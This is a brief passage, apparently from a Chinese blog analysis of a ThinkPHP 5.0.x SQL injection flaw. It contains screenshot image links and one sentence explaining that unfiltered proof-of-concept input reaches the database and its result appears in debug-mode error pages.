<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp515_sql_8_2.png" alt="thinkphp515_sql_8_2"></p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_shutdown_0.png" alt="thinkphp_sql_shutdown_0"></p>
<p>poc传入的数据整个过程都未经过有效的安全过滤被带入到数据库中执行，执行的结果被包含到了报错信息中返回到页面(开启debug模式)</p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_execute_3.png" alt="thinkphp_sql_insert_execute_3"></p>
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